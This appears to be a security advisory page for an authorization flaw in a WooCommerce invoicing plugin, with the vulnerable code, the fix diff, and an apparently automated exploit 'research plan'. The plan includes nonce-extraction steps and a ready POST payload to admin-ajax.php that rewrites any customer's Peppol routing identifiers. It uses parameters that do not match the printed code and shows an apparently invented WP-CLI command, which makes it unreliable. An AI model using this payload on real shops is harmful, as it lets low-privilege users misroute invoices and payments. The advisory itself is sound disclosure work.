PDF Invoices & Packing Slips for WooCommerce <= 5.6.0 - Missing Authorization to Authenticated (Subscriber+) Peppol Identifier Modification
Description
The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.6.0 via the `wpo_ips_edi_save_order_customer_peppol_identifiers` AJAX action due to missing capability checks and order ownership validation. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify Peppol/EDI endpoint identifiers (`peppol_endpoint_id`, `peppol_endpoint_eas`) for any customer by specifying an arbitrary `order_id` parameter on systems using Peppol invoicing. This can affect order routing on the Peppol network and may result in payment disruptions and data leakage.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.6.0What Changed in the Fix
Changes introduced in v5.7.0
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit **CVE-2026-1906**, a Missing Authorization vulnerability in the **PDF Invoices & Packing Slips for WooCommerce** plugin. ### 1. Vulnerability Summary The plugin provides an AJAX action `wpo_ips_edi_save_order_customer_peppol_identifiers` intended to …
Show full research plan
This research plan outlines the steps to exploit CVE-2026-1906, a Missing Authorization vulnerability in the PDF Invoices & Packing Slips for WooCommerce plugin.
1. Vulnerability Summary
The plugin provides an AJAX action wpo_ips_edi_save_order_customer_peppol_identifiers intended to save Peppol/EDI identifiers (Electronic Address Scheme and Endpoint ID) for an order. The vulnerability exists because the handler for this AJAX action fails to perform capability checks (e.g., current_user_can( 'manage_options' )) or validate that the user making the request is the owner of the order. This allows any authenticated user (Subscriber level and above) to modify the Peppol routing information for any order and its associated customer.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpo_ips_edi_save_order_customer_peppol_identifiers - Method:
POST - Required Role: Subscriber or higher
- Vulnerable Parameters:
order_id: The target WooCommerce order ID to modify.peppol_endpoint_id: The new Peppol identifier (e.g.,0088:123456789).peppol_endpoint_eas: The Electronic Address Scheme code (e.g.,0088).
- Preconditions:
- The plugin must have EDI/Peppol functionality enabled.
- An electronic invoice format (like
ubl_peppol_30) must be selected in settings.
3. Code Flow
- Registration: In
includes/Admin.php, the action is registered:add_action( 'wp_ajax_wpo_ips_edi_save_order_customer_peppol_identifiers', array( $this, 'ajax_edi_save_order_customer_peppol_identifiers' ) ); - Entry Point: A
POSTrequest toadmin-ajax.phpwithaction=wpo_ips_edi_save_order_customer_peppol_identifierstriggers theajax_edi_save_order_customer_peppol_identifiersmethod. - Processing: The handler extracts
order_id,peppol_endpoint_id, andpeppol_endpoint_easfrom$_POST. - Vulnerable Sink: It calls
wpo_ips_edi_maybe_save_order_peppol_data()(found inwpo-ips-functions-edi.php) or similar internal logic. - Persistence:
_peppol_endpoint_idand_peppol_endpoint_easare updated in the order's meta data (WC_Order::update_meta_data).- If the order has an associated customer ID, the user meta keys
peppol_endpoint_idandpeppol_endpoint_easare updated for that user.
- Authorization Failure: No check is made to ensure the user has administrative privileges or that
get_current_user_id() == $order->get_customer_id().
4. Nonce Acquisition Strategy
The plugin enqueues the required scripts and nonces on pages where Peppol fields are present, such as the Checkout page or the My Account address edit page.
- Setup: Create a page with the WooCommerce Checkout shortcode.
- Action: Navigate to the Checkout page as the Attacker (Subscriber).
- Extraction: Use
browser_evalto find the localized nonce. The plugin typically localizes these under an object namedwpo_ips_ediorwpo_wcpdf_admin. - Target Variable: Based on standard plugin patterns, look for:
window.wpo_ips_edi?.noncewindow.wpo_wcpdf_admin?.nonce- Or specifically for this action:
window.wpo_ips_edi?.save_peppol_nonce
Note: If no specific nonce is found, the handler may be using a generic nonce or potentially skipping verification if check_ajax_referer is omitted.
5. Exploitation Strategy
- Identify Target: Determine the
order_idof a victim's order (e.g., via simple enumeration if IDOR is possible elsewhere, or by creating a test order as an Admin). - Prepare Payload:
action:wpo_ips_edi_save_order_customer_peppol_identifiersorder_id:[VICTIM_ORDER_ID]peppol_endpoint_id:0088:attacker-controlled-idpeppol_endpoint_eas:0088security:[EXTRACTED_NONCE]
- Execute Request: Send the payload via the
http_requesttool.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wpo_ips_edi_save_order_customer_peppol_identifiers&order_id=123&peppol_endpoint_id=0088:999999999&peppol_endpoint_eas=0088&security=a1b2c3d4e5
6. Test Data Setup
- Enable EDI:
wp option update wpo_ips_edi_settings '{"enabled":"1","format":"ubl_peppol_30"}' --format=json - Create Victim: Create an Admin user and a "Victim Order".
wp user create victim victim@example.com --role=administrator --user_pass=password wp wc order create --customer_id=$(wp user get victim --field=ID) --status=completed # Note the returned Order ID (e.g., 123) - Create Attacker:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Prepare Checkout: Ensure a page with
[woocommerce_checkout]exists to find nonces.
7. Expected Results
- The server should return a success status (often
wp_send_json_successreturns{"success":true}). - The
_peppol_endpoint_idmeta value for Order123should change to the attacker-supplied value. - The
peppol_endpoint_iduser meta for the Victim user should also change.
8. Verification Steps
- Check Order Meta:
wp post primary-generate-peppol-meta 123 --meta_key=_peppol_endpoint_id # Or using standard wp post meta: wp post meta get 123 _peppol_endpoint_id - Check User Meta:
wp user meta get $(wp user get victim --field=ID) peppol_endpoint_id
9. Alternative Approaches
If the order_id is validated but the user meta is still updated, focus on the user-level IDOR. If check_ajax_referer fails, try checking if the nonce is enqueued on the wp-admin dashboard for all logged-in users, as Subscribers can access the dashboard in default WooCommerce configurations.
Summary
The plugin is vulnerable to an Insecure Direct Object Reference (IDOR) due to missing capability checks and order ownership validation in the `wpo_ips_edi_save_order_customer_peppol_identifiers` AJAX action. Authenticated attackers with Subscriber-level access can modify Peppol/EDI routing identifiers for any customer by supplying an arbitrary order ID, potentially disrupting payments or redirecting sensitive invoicing data.
Vulnerable Code
// includes/Admin.php L896 public function ajax_edi_save_order_customer_peppol_identifiers(): void { if ( ! check_ajax_referer( 'generate_wpo_wcpdf', 'security', false ) ) { wp_send_json_error( array( 'message' => __( 'Invalid security token.', 'woocommerce-pdf-invoices-packing-slips' ) ) ); } $request = stripslashes_deep( $_POST ); $order_id = isset( $request['order_id'] ) ? absint( $request['order_id'] ) : 0; $values = isset( $request['values'] ) ? $request['values'] : array(); if ( empty( $order_id ) || empty( $values ) ) { wp_send_json_error( array( 'message' => __( 'Invalid order ID or values.', 'woocommerce-pdf-invoices-packing-slips' ) ) ); } $order = wc_get_order( $order_id ); if ( ! $order ) { wp_send_json_error( array( 'message' => __( 'Order not found.', 'woocommerce-pdf-invoices-packing-slips' ) ) ); } $customer_id = is_callable( array( $order, 'get_customer_id' ) ) ? $order->get_customer_id() : 0; wpo_ips_edi_peppol_save_customer_identifiers( $customer_id, $values ); wpo_ips_edi_maybe_save_order_peppol_data( $order, $values ); wp_send_json_success( array( 'message' => __( 'Peppol identifiers saved successfully.', 'woocommerce-pdf-invoices-packing-slips' ), ) ); }
Security Fix
@@ -894,41 +894,69 @@ * @return void */ public function ajax_edi_save_order_customer_peppol_identifiers(): void { + // Nonce check. if ( ! check_ajax_referer( 'generate_wpo_wcpdf', 'security', false ) ) { - wp_send_json_error( array( - 'message' => __( 'Invalid security token.', 'woocommerce-pdf-invoices-packing-slips' ) - ) ); + wp_send_json_error( + array( + 'message' => __( 'Invalid security token.', 'woocommerce-pdf-invoices-packing-slips' ), + ) + ); + } + + // Authorization. + if ( ! current_user_can( 'edit_shop_orders' ) ) { + wp_send_json_error( + array( + 'message' => __( 'You do not have permission to perform this action.', 'woocommerce-pdf-invoices-packing-slips' ), + ), + 403 + ); } $request = stripslashes_deep( $_POST ); $order_id = isset( $request['order_id'] ) ? absint( $request['order_id'] ) : 0; - $values = isset( $request['values'] ) ? $request['values'] : array(); + $values = isset( $request['values'] ) && is_array( $request['values'] ) ? $request['values'] : array(); - if ( empty( $order_id ) || empty( $values ) ) { - wp_send_json_error( array( - 'message' => __( 'Invalid order ID or values.', 'woocommerce-pdf-invoices-packing-slips' ) - ) ); + if ( ! $order_id || empty( $values ) ) { + wp_send_json_error( + array( + 'message' => __( 'Invalid order ID or values.', 'woocommerce-pdf-invoices-packing-slips' ), + ), + 400 + ); } $order = wc_get_order( $order_id ); if ( ! $order ) { - wp_send_json_error( array( - 'message' => __( 'Order not found.', 'woocommerce-pdf-invoices-packing-slips' ) - ) ); + wp_send_json_error( + array( + 'message' => __( 'Order not found.', 'woocommerce-pdf-invoices-packing-slips' ), + ), + 404 + ); } - $customer_id = is_callable( array( $order, 'get_customer_id' ) ) - ? $order->get_customer_id() - : 0; + // Ensure the current user can edit this order in admin. + if ( ! current_user_can( 'edit_post', $order->get_id() ) ) { + wp_send_json_error( + array( + 'message' => __( 'You do not have permission to edit this order.', 'woocommerce-pdf-invoices-packing-slips' ), + ), + 403 + ); + } - wpo_ips_edi_peppol_save_customer_identifiers( $customer_id, $values ); + $customer_id = is_callable( array( $order, 'get_customer_id' ) ) ? (int) $order->get_customer_id() : 0; + wpo_ips_edi_peppol_save_customer_identifiers( $customer_id, $values ); wpo_ips_edi_maybe_save_order_peppol_data( $order, $values ); - wp_send_json_success( array( - 'message' => __( 'Peppol identifiers saved successfully.', 'woocommerce-pdf-invoices-packing-slips' ), - ) ); + wp_send_json_success( + array( + 'message' => __( 'Peppol identifiers saved successfully.', 'woocommerce-pdf-invoices-packing-slips' ), + ) + ); }
Exploit Outline
The attacker requires an account with at least Subscriber privileges to obtain a valid security nonce and hit the AJAX endpoint. 1. Log in as a Subscriber and obtain the `generate_wpo_wcpdf` nonce (commonly localized in the `wpo_wcpdf_admin` or `wpo_ips_edi` JavaScript objects on WooCommerce checkout or account pages). 2. Identify a target `order_id` (e.g., via order enumeration). 3. Send a POST request to `/wp-admin/admin-ajax.php` with the `action` set to `wpo_ips_edi_save_order_customer_peppol_identifiers`. 4. Include the target `order_id`, the stolen `security` nonce, and a `values` array containing the desired `peppol_endpoint_id` and `peppol_endpoint_eas`. 5. Upon success, the plugin updates the order meta and the associated customer's user meta with the attacker-controlled Peppol identifiers.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.